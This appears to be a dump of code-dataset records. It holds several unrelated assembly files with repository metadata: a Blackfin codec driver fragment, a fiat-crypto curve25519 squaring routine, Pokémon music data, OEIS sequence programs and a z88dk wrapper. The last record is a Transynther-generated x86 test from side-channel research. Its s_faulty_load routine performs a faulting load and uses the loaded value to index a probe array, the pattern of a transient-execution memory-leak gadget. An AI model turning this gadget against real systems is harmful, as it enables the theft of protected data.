bits per frame, clock divisor of 1 R0=0x1973(X); [REG_SPORT0_CTL_B]=R0; // Set up SPORT0 (B) as RX from codec, 24 bits R0=0x0400001; [REG_SPORT0_DIV_B]=R0; // 64 bits per frame, clock divisor of 1 RTS; sport_configure.end: // Function TWI_write is a simple driver for the TWI. Refer to page 24-15 onwards // of the ADSP-BF70x Blackfin+ Processor Hardware Reference manual. TWI_write: R3=R0 <<0x8; R0=R0 >>>0x8; R2=R3|R0; // Reverse low order and high order bytes R0=0x3232(X); [REG_TWI0_CLKDIV]=R0; // Set duty cycle R0=0x008c(X); [REG_TWI0_CTL]=R0; // Set prescale and enable TWI R0=0x0038(X); [REG_TWI0_MSTRADDR]=R0; // Address of codec [REG_TWI0_TXDATA16]=R2; // Address of register to set, LSB then MSB R0=0x00c1(X); [REG_TWI0_MSTRCTL]=R0; // Command to send three bytes and enable tx [--SP] = RETS; call delay; RETS = [SP++]; // Delay [REG_TWI0_TXDATA8]=R1; // Data to write [--SP] = RETS; call delay; RETS = [SP++]; // Delay R0=0x050; [REG_TWI0_ISTAT]=R0; // Clear TXERV interrupt [--SP] = RETS; call delay; RETS = [SP++]; // Delay R0=0x010; [REG_TWI0_ISTAT]=R0; // Clear MCOMP interrupt rts; TWI_write.end: // Function delay introduces a delay to allow TWI communication delay: P0=0x8000; loop LC0=P0; NOP; NOP; NOP; loop_end; RTS; delay.end:
51.741667
399
0.691255
58e0d9351817f3b08ef011a7a828f052e048b479
5,928
asm
Assembly
fiat-amd64/10643_eval10of50_ratio09374_seed1785685356_square_curve25519.asm
dderjoel/fiat-crypto
57a9612577d766a0ae83169ea9517bfa7f01ea4e
[ "BSD-1-Clause", "Apache-2.0", "MIT-0", "MIT" ]
491
2015-11-25T23:44:39.000Z
2022-03-29T17:31:21.000Z
fiat-amd64/10643_eval10of50_ratio09374_seed1785685356_square_curve25519.asm
dderjoel/fiat-crypto
57a9612577d766a0ae83169ea9517bfa7f01ea4e
[ "BSD-1-Clause", "Apache-2.0", "MIT-0", "MIT" ]
755
2016-02-02T14:03:05.000Z
2022-03-31T16:47:23.000Z
fiat-amd64/10643_eval10of50_ratio09374_seed1785685356_square_curve25519.asm
dderjoel/fiat-crypto
57a9612577d766a0ae83169ea9517bfa7f01ea4e
[ "BSD-1-Clause", "Apache-2.0", "MIT-0", "MIT" ]
117
2015-10-25T16:28:15.000Z
2022-02-08T23:01:09.000Z
SECTION .text GLOBAL square_curve25519 square_curve25519: sub rsp, 0x38 imul rax, [ rsi + 0x20 ], 0x13; x1 <- arg1[4] * 0x13 imul r10, rax, 0x2; x2 <- x1 * 0x2 imul r11, [ rsi + 0x20 ], 0x2; x3 <- arg1[4] * 0x2 imul rdx, [ rsi + 0x18 ], 0x13; x4 <- arg1[3] * 0x13 imul rcx, rdx, 0x2; x5 <- x4 * 0x2 imul r8, [ rsi + 0x18 ], 0x2; x6 <- arg1[3] * 0x2 imul r9, [ rsi + 0x10 ], 0x2; x7 <- arg1[2] * 0x2 mov [ rsp + 0x0 ], r15; spilling callerSaver15 to mem imul r15, [ rsi + 0x8 ], 0x2; x8 <- arg1[1] * 0x2 mov [ rsp + 0x8 ], r14; spilling callerSaver14 to mem mov r14, rdx; preserving value of x4 into a new reg mov rdx, [ rsi + 0x0 ]; saving arg1[0] in rdx. mov [ rsp + 0x10 ], r13; spilling callerSaver13 to mem mov [ rsp + 0x18 ], r12; spilling callerSaver12 to mem mulx r13, r12, [ rsi + 0x0 ]; x38, x37<- arg1[0] * arg1[0] mov rdx, [ rsi + 0x8 ]; arg1[1] to rdx mov [ rsp + 0x20 ], rbp; spilling callerSaverbp to mem mov [ rsp + 0x28 ], rbx; spilling callerSaverbx to mem mulx rbp, rbx, r10; x22, x21<- arg1[1] * x2 mov rdx, rcx; x5 to rdx mulx rdx, rcx, [ rsi + 0x10 ]; x18, x17<- arg1[2] * x5 test al, al adox rcx, rbx adcx rcx, r12 adox rbp, rdx adcx r13, rbp mov r12, rcx; x47, copying x43 here, cause x43 is needed in a reg for other than x47, namely all: , x47, x48, size: 2 shrd r12, r13, 51; x47 <- x45||x43 >> 51 mov rbx, 0x33 ; moving imm to reg bzhi rcx, rcx, rbx; x48 <- x43 (only least 0x33 bits) mov rdx, [ rsi + 0x0 ]; arg1[0] to rdx mulx r15, rbp, r15; x36, x35<- arg1[0] * x8 mov rdx, [ rsi + 0x10 ]; arg1[2] to rdx mulx r13, rbx, r10; x16, x15<- arg1[2] * x2 mov rdx, [ rsi + 0x18 ]; arg1[3] to rdx mov [ rsp + 0x30 ], rdi; spilling out1 to mem mulx r14, rdi, r14; x14, x13<- arg1[3] * x4 adox rdi, rbx clc; adcx rdi, rbp setc dl; spill CF x78 to reg (rdx) clc; adcx rdi, r12 adox r13, r14 movzx rdx, dl lea r15, [ r15 + r13 ] lea r15, [ r15 + rdx ] adc r15, 0x0 mov r12, rdi; x84, copying x81 here, cause x81 is needed in a reg for other than x84, namely all: , x84, x85, size: 2 shrd r12, r15, 51; x84 <- x83||x81 >> 51 mov rbp, 0x7ffffffffffff ; moving imm to reg and rdi, rbp; x85 <- x81&0x7ffffffffffff mov rdx, [ rsi + 0x0 ]; arg1[0] to rdx mulx rbx, r14, r9; x34, x33<- arg1[0] * x7 mov rdx, [ rsi + 0x8 ]; arg1[1] to rdx mulx r13, r15, [ rsi + 0x8 ]; x28, x27<- arg1[1] * arg1[1] mov rdx, [ rsi + 0x18 ]; arg1[3] to rdx mulx r10, rbp, r10; x12, x11<- arg1[3] * x2 adox rbp, r15 adcx rbp, r14 setc dl; spill CF x70 to reg (rdx) clc; adcx rbp, r12 adox r13, r10 movzx rdx, dl lea rbx, [ rbx + r13 ] lea rbx, [ rbx + rdx ] adc rbx, 0x0 mov r12, rbp; x89, copying x86 here, cause x86 is needed in a reg for other than x89, namely all: , x89, x90, size: 2 shrd r12, rbx, 51; x89 <- x88||x86 >> 51 mov r14, 0x7ffffffffffff ; moving imm to reg and rbp, r14; x90 <- x86&0x7ffffffffffff mov rdx, [ rsi + 0x0 ]; arg1[0] to rdx mulx r15, r10, r8; x32, x31<- arg1[0] * x6 mov rdx, r9; x7 to rdx mulx rdx, r9, [ rsi + 0x8 ]; x26, x25<- arg1[1] * x7 xchg rdx, rax; x1, swapping with x26, which is currently in rdx mulx rdx, r13, [ rsi + 0x20 ]; x10, x9<- arg1[4] * x1 adox r13, r9 adcx r13, r10 seto bl; spill OF x58 to reg (rbx) mov r10, -0x2 ; moving imm to reg inc r10; OF<-0x0, preserve CF (debug: 6; load -2, increase it, save as -1) adox r13, r12 movzx rbx, bl lea rax, [ rax + rdx ] lea rax, [ rax + rbx ] adcx r15, rax mov r12, 0x0 ; moving imm to reg adox r15, r12 mov r9, r13; x94, copying x91 here, cause x91 is needed in a reg for other than x94, namely all: , x94, x95, size: 2 shrd r9, r15, 51; x94 <- x93||x91 >> 51 mov rdx, 0x33 ; moving imm to reg bzhi r13, r13, rdx; x95 <- x91 (only least 0x33 bits) mov rdx, [ rsi + 0x0 ]; arg1[0] to rdx mulx r11, rbx, r11; x30, x29<- arg1[0] * x3 mov rdx, r8; x6 to rdx mulx rdx, r8, [ rsi + 0x8 ]; x24, x23<- arg1[1] * x6 mov rax, rdx; preserving value of x24 into a new reg mov rdx, [ rsi + 0x10 ]; saving arg1[2] in rdx. mulx r15, r12, [ rsi + 0x10 ]; x20, x19<- arg1[2] * arg1[2] adox r12, r8 clc; adcx r12, rbx seto dl; spill OF x50 to reg (rdx) inc r10; OF<-0x0, preserve CF (debug: state 2 (y: -1, n: 0)) adox r12, r9 movzx rdx, dl lea rax, [ rax + r15 ] lea rax, [ rax + rdx ] adcx r11, rax adox r11, r10 mov r9, r12; x99, copying x96 here, cause x96 is needed in a reg for other than x99, namely all: , x99, x100, size: 2 shrd r9, r11, 51; x99 <- x98||x96 >> 51 mov rbx, 0x33 ; moving imm to reg bzhi r12, r12, rbx; x100 <- x96 (only least 0x33 bits) imul r9, r9, 0x13; x101 <- x99 * 0x13 lea rcx, [ rcx + r9 ] mov r8, rcx; x103, copying x102 here, cause x102 is needed in a reg for other than x103, namely all: , x103, x104, size: 2 shr r8, 51; x103 <- x102>> 51 bzhi rcx, rcx, rbx; x104 <- x102 (only least 0x33 bits) lea r8, [ r8 + rdi ] mov rdi, r8; x106, copying x105 here, cause x105 is needed in a reg for other than x106, namely all: , x106, x107, size: 2 shr rdi, 51; x106 <- x105>> 51 bzhi r8, r8, rbx; x107 <- x105 (only least 0x33 bits) lea rdi, [ rdi + rbp ] mov rbp, [ rsp + 0x30 ]; load m64 out1 to register64 mov [ rbp + 0x0 ], rcx; out1[0] = x104 mov [ rbp + 0x8 ], r8; out1[1] = x107 mov [ rbp + 0x10 ], rdi; out1[2] = x108 mov [ rbp + 0x18 ], r13; out1[3] = x95 mov [ rbp + 0x20 ], r12; out1[4] = x100 mov r15, [ rsp + 0x0 ] ; pop mov r14, [ rsp + 0x8 ] ; pop mov r13, [ rsp + 0x10 ] ; pop mov r12, [ rsp + 0x18 ] ; pop mov rbp, [ rsp + 0x20 ] ; pop mov rbx, [ rsp + 0x28 ] ; pop add rsp, 0x38 ret ; cpu Intel(R) Core(TM) i5-8265U CPU @ 1.60GHz ; ratio 0.9374 ; seed 1785685356 ; CC / CFLAGS clang / -march=native -mtune=native -O3 ; time needed: 248 ms / 10 evals=> 24.8ms/eval ; Time spent for assembling and measureing (initial batch_size=160, initial num_batches=31): 33 ms ; number of used evaluations: 10 ; Ratio (time for assembling + measure)/(total runtime for 10 evals): 0.13306451612903225 ; number reverted permutation/ tried permutation: 2 / 2 =100.000% ; number reverted decision/ tried decision: 5 / 8 =62.500%
38.493506
122
0.642375
24c6741a76faf722345977081458d3fe16eaf58c
5,062
asm
Assembly
audio/music/meetprofoak.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
1
2022-02-15T00:19:44.000Z
2022-02-15T00:19:44.000Z
audio/music/meetprofoak.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
audio/music/meetprofoak.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
Music_MeetProfOak_Ch1:: tempo 112 volume 7, 7 duty_cycle 3 toggle_perfect_pitch note_type 12, 11, 4 octave 3 note F#, 1 note B_, 1 octave 4 note D#, 1 note E_, 1 note F#, 12 note_type 12, 10, 2 octave 3 note E_, 6 note B_, 10 note E_, 6 note B_, 10 note E_, 6 note D#, 4 note F#, 2 note F#, 4 note E_, 6 note D#, 4 note F#, 2 note F#, 4 note E_, 6 note B_, 10 note E_, 6 note B_, 10 note E_, 6 note D#, 4 note F#, 2 note F#, 4 note E_, 6 note D#, 4 note F#, 2 note F#, 4 Music_MeetProfOak_branch_af85:: note F#, 6 note E_, 4 note A_, 2 note A_, 4 note F#, 6 note E_, 4 note A_, 2 note A_, 4 note F#, 6 note E_, 4 note G#, 2 note G#, 4 note F#, 6 note E_, 4 note G#, 2 note G#, 4 note E_, 6 note D#, 4 note F#, 2 note F#, 4 note E_, 6 note D#, 4 note F#, 2 note F#, 4 note F#, 6 note E_, 4 note G#, 2 note G#, 4 note F#, 6 note E_, 4 note G#, 2 note G#, 4 sound_loop 0, Music_MeetProfOak_branch_af85 Music_MeetProfOak_Ch2:: vibrato 8, 1, 1 duty_cycle 2 note_type 12, 12, 4 octave 3 note B_, 1 octave 4 note D#, 1 note F#, 1 note A#, 1 note B_, 12 note_type 12, 11, 2 octave 3 note B_, 2 octave 4 note C#, 2 note D#, 2 note E_, 4 note D#, 2 note C#, 4 note_type 12, 6, 4 octave 4 note B_, 2 octave 5 note C#, 2 note D#, 2 note E_, 4 note D#, 2 note C#, 4 note_type 12, 11, 2 octave 3 note B_, 2 note A_, 2 note G#, 2 note A_, 4 note B_, 2 note B_, 4 note_type 12, 8, 1 octave 4 note B_, 2 note A_, 2 note G#, 2 note A_, 4 note B_, 2 note B_, 4 note_type 12, 11, 2 octave 3 note B_, 2 octave 4 note C#, 2 note D#, 2 note E_, 4 note D#, 2 note C#, 4 note_type 12, 6, 4 octave 4 note B_, 2 octave 5 note C#, 2 note D#, 2 note E_, 4 note D#, 2 note C#, 4 note_type 12, 11, 2 octave 3 note B_, 2 note A_, 2 note G#, 2 note A_, 4 note B_, 2 note B_, 4 note_type 12, 8, 1 octave 4 note B_, 2 note A_, 2 note G#, 2 note A_, 4 note B_, 2 note B_, 4 note_type 12, 11, 5 Music_MeetProfOak_branch_b005:: octave 4 note C#, 6 octave 3 note A_, 1 octave 4 note C#, 1 note E_, 6 note C#, 1 note E_, 1 note F#, 4 note E_, 4 note D#, 4 note C#, 4 octave 3 note B_, 6 note G#, 1 note B_, 1 octave 4 note E_, 8 note_type 12, 6, 5 octave 4 note B_, 6 note G#, 1 note B_, 1 octave 5 note E_, 8 note_type 12, 11, 5 octave 3 note A_, 6 note F#, 1 note A_, 1 octave 4 note D#, 8 note E_, 4 note D#, 4 note C#, 4 note C_, 4 octave 3 note B_, 6 note G#, 1 note B_, 1 octave 4 note E_, 6 octave 3 note B_, 1 octave 4 note E_, 1 note_type 12, 11, 7 note G#, 16 sound_loop 0, Music_MeetProfOak_branch_b005 Music_MeetProfOak_Ch3:: note_type 12, 1, 2 rest 10 octave 4 note F#, 1 rest 1 note B_, 1 rest 1 octave 5 note C#, 1 rest 1 octave 4 note B_, 1 rest 5 octave 5 note E_, 4 rest 6 octave 4 note B_, 1 rest 5 octave 5 note E_, 4 octave 4 note F#, 1 rest 1 note B_, 1 rest 1 octave 5 note C#, 1 rest 1 octave 4 note F#, 1 rest 1 note F#, 1 rest 1 note B_, 1 rest 1 note F#, 1 rest 1 note B_, 1 rest 1 note F#, 1 rest 1 note B_, 1 rest 1 note F#, 1 rest 1 note B_, 1 rest 1 note F#, 1 rest 1 note B_, 1 rest 1 note F#, 1 rest 1 note B_, 1 rest 1 note F#, 1 rest 1 note B_, 1 rest 1 note F#, 1 rest 1 note B_, 1 rest 1 note E_, 1 rest 1 note B_, 1 rest 1 note E_, 1 rest 1 note B_, 1 rest 1 note E_, 1 rest 1 note B_, 1 rest 1 note E_, 1 rest 1 note B_, 1 rest 1 note E_, 1 rest 1 note B_, 1 rest 1 note E_, 1 rest 1 note B_, 1 rest 1 note E_, 1 rest 1 note A_, 1 rest 1 note B_, 1 rest 1 note F#, 1 rest 1 note F#, 1 rest 1 note B_, 1 rest 1 note F#, 1 rest 1 note B_, 1 rest 1 note F#, 1 rest 1 note B_, 1 rest 1 note F#, 1 rest 1 note B_, 1 rest 1 note F#, 1 rest 1 note B_, 1 rest 1 note F#, 1 rest 1 note B_, 1 rest 1 note F#, 1 rest 1 note G_, 1 rest 1 note G#, 1 rest 1 Music_MeetProfOak_branch_b0bc:: octave 4 note A_, 1 rest 1 octave 5 note C#, 1 rest 1 octave 4 note A_, 1 rest 1 octave 5 note C#, 1 rest 1 octave 4 note A_, 1 rest 1 octave 5 note C#, 1 rest 1 octave 4 note A_, 1 rest 1 octave 5 note C#, 1 rest 1 sound_loop 2, Music_MeetProfOak_branch_b0bc Music_MeetProfOak_branch_b0d8:: octave 4 note G#, 1 rest 1 note B_, 1 rest 1 note G#, 1 rest 1 note B_, 1 rest 1 note G#, 1 rest 1 note B_, 1 rest 1 note G#, 1 rest 1 note B_, 1 rest 1 sound_loop 2, Music_MeetProfOak_branch_b0d8 Music_MeetProfOak_branch_b0ed:: note F#, 1 rest 1 note A_, 1 rest 1 note F#, 1 rest 1 note A_, 1 rest 1 note F#, 1 rest 1 note A_, 1 rest 1 note F#, 1 rest 1 note A_, 1 rest 1 sound_loop 2, Music_MeetProfOak_branch_b0ed Music_MeetProfOak_branch_b101:: note G#, 1 rest 1 note B_, 1 rest 1 note G#, 1 rest 1 note B_, 1 rest 1 note G#, 1 rest 1 note B_, 1 rest 1 note G#, 1 rest 1 note B_, 1 rest 1 sound_loop 2, Music_MeetProfOak_branch_b101 sound_loop 0, Music_MeetProfOak_branch_b0bc
11.938679
44
0.621493
df287dfd0331382fb23acfa5d240dda22344d322
692
asm
Assembly
oeis/112/A112328.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/112/A112328.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/112/A112328.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A112328: a(n) = (n+1)*binomial(2n+2,n+1)-3*4^n+binomial(2n,n). ; Submitted by Christian Krause ; 2,18,108,562,2724,12660,57240,253842,1109748,4798780,20572392,87580308,370706408,1561573032,6551178288,27387484242,114146434068,474476717292,1967642119368,8142727008732,33634295542968,138696447565272,571069686589008,2348087834494932,9642592742560584,39552484143335640,162067080718494480,663426636973666792,2713313584990248528,11087779018657414224,45274342808135994464,184733530242350705106,753261909707681255508,3069529049520381689292,12500862865630552986504,50882243972086070901900 mul $0,2 seq $0,54442 ; Second convolution of A001405 (central binomial numbers). sub $0,1 mul $0,2 add $0,2
69.2
484
0.849711
13b33ba83d097cd45b2fd06726a2c7efea332d6e
276
asm
Assembly
libsrc/_DEVELOPMENT/adt/w_vector/c/sccz80/w_vector_size.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/adt/w_vector/c/sccz80/w_vector_size.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/adt/w_vector/c/sccz80/w_vector_size.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; void *w_vector_size(w_vector_t *v) SECTION code_clib SECTION code_adt_w_vector PUBLIC w_vector_size EXTERN asm_w_vector_size defc w_vector_size = asm_w_vector_size ; SDCC bridge for Classic IF __CLASSIC PUBLIC _w_vector_size defc _w_vector_size = w_vector_size ENDIF
14.526316
38
0.836957
1bdb89e0809869cbf4f3dab4d420b40242e1971d
452
asm
Assembly
oeis/276/A276351.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/276/A276351.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/276/A276351.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A276351: a(n) = 2*(3 + 2 n + 3 n^2 + 3 n^3 + 3 n^4 + n^5 + n^6). ; Submitted by Christian Krause ; 6,32,374,2664,12278,42176,118182,285704,617894,1225248,2266646,3961832,6605334,10581824,16382918,24625416,36070982,51647264,72470454,99869288,135410486,180925632,238539494,310699784,400208358,510253856,644445782,806850024,1002025814,1235064128,1511627526 mov $2,24 lpb $2 add $1,$0 mul $1,$0 add $1,2 div $2,2 lpe mov $0,$1 add $0,1 mul $0,2
30.133333
256
0.716814
43bcabee19dd80ea38a7941a5f3aafa9c73c7a95
8,204
asm
Assembly
Transynther/x86/_processed/NONE/_ht_zr_/i3-7100_9_0x84_notsx.log_21829_2709.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_ht_zr_/i3-7100_9_0x84_notsx.log_21829_2709.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_ht_zr_/i3-7100_9_0x84_notsx.log_21829_2709.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r13 push %r14 push %r8 push %rcx push %rdi push %rsi lea addresses_normal_ht+0x52b5, %rsi nop nop nop nop nop and $58310, %r12 and $0xffffffffffffffc0, %rsi movntdqa (%rsi), %xmm0 vpextrq $0, %xmm0, %rdi dec %r12 lea addresses_A_ht+0x18f35, %r14 nop nop nop nop nop sub $63219, %r8 mov $0x6162636465666768, %r13 movq %r13, %xmm4 movups %xmm4, (%r14) nop nop nop nop and $29452, %rdi lea addresses_A_ht+0x6233, %r14 nop nop nop nop nop sub %r11, %r11 movb (%r14), %r12b nop nop cmp %r14, %r14 lea addresses_WT_ht+0x1cb55, %rsi nop nop nop add $24438, %rdi movl $0x61626364, (%rsi) nop nop nop nop nop add $20859, %rsi lea addresses_normal_ht+0x1c881, %rsi lea addresses_D_ht+0xc316, %rdi nop nop nop nop dec %r13 mov $17, %rcx rep movsq nop nop sub %rsi, %rsi lea addresses_A_ht+0x1e555, %r11 nop nop nop add $7231, %rsi mov $0x6162636465666768, %r8 movq %r8, (%r11) nop nop nop nop dec %r13 lea addresses_D_ht+0xe3ad, %r13 nop cmp %r11, %r11 movw $0x6162, (%r13) nop nop nop nop nop dec %r8 lea addresses_A_ht+0x1a635, %rdi sub $64460, %r12 movl $0x61626364, (%rdi) nop nop nop nop nop inc %r11 lea addresses_A_ht+0x1dd55, %r8 nop nop nop xor $29845, %r14 movb $0x61, (%r8) nop nop nop xor $63562, %r14 lea addresses_WC_ht+0x1c155, %r12 inc %rsi mov $0x6162636465666768, %r14 movq %r14, %xmm3 vmovups %ymm3, (%r12) nop nop nop nop nop add %r12, %r12 lea addresses_A_ht+0x1bb31, %rcx clflush (%rcx) nop nop nop nop nop inc %r11 mov $0x6162636465666768, %rdi movq %rdi, %xmm1 and $0xffffffffffffffc0, %rcx vmovaps %ymm1, (%rcx) nop nop nop nop xor %r12, %r12 lea addresses_WC_ht+0xd555, %rsi lea addresses_D_ht+0x17a55, %rdi nop nop nop nop sub $49394, %r14 mov $43, %rcx rep movsq nop nop nop nop xor %rcx, %rcx pop %rsi pop %rdi pop %rcx pop %r8 pop %r14 pop %r13 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r13 push %r8 push %r9 push %rbp push %rsi // Store lea addresses_normal+0xe855, %r12 nop nop nop sub %r13, %r13 mov $0x5152535455565758, %rsi movq %rsi, (%r12) nop nop nop nop and $47267, %rbp // Store lea addresses_D+0x11d55, %r12 nop nop nop nop cmp $59524, %r9 mov $0x5152535455565758, %r13 movq %r13, %xmm5 movups %xmm5, (%r12) nop nop nop nop add %r8, %r8 // Store lea addresses_WT+0x1e3ad, %r9 nop xor %r12, %r12 mov $0x5152535455565758, %rsi movq %rsi, %xmm0 vmovups %ymm0, (%r9) nop nop nop nop nop cmp $26018, %rsi // Store mov $0x85, %r9 nop nop and %rsi, %rsi movw $0x5152, (%r9) nop nop add %r12, %r12 // Faulty Load lea addresses_A+0xad55, %r10 nop nop nop nop sub $58849, %rsi vmovups (%r10), %ymm5 vextracti128 $1, %ymm5, %xmm5 vpextrq $0, %xmm5, %r9 lea oracles, %rsi and $0xff, %r9 shlq $12, %r9 mov (%rsi,%r9,1), %r9 pop %rsi pop %rbp pop %r9 pop %r8 pop %r13 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_A', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_normal', 'same': False, 'size': 8, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_D', 'same': False, 'size': 16, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WT', 'same': False, 'size': 32, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_P', 'same': False, 'size': 2, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_A', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 16, 'congruent': 5, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 16, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 4, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 8, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 4, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 9, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 32, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 32, 'congruent': 2, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'} {'00': 21821, '48': 8} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 